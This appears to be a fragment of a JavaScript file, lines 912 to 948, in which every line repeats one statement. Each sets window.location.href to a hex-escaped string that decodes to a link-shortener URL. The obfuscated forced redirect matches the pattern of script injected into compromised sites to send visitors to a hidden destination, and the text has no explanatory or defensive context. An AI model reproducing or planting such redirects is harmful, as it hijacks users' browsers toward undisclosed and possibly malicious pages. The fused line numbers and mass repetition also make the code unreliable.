912window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
913window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
914window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
915window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
916window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
917window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
918window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
919window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
920window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
921window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
922window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
923window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
924window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
925window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
926window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
927window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
928window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
929window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
930window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
931window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
932window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
933window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
934window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
935window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
936window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
937window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
938window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
939window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
940window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
941window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
942window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
943window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
944window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
945window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
946window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
947window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
948window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";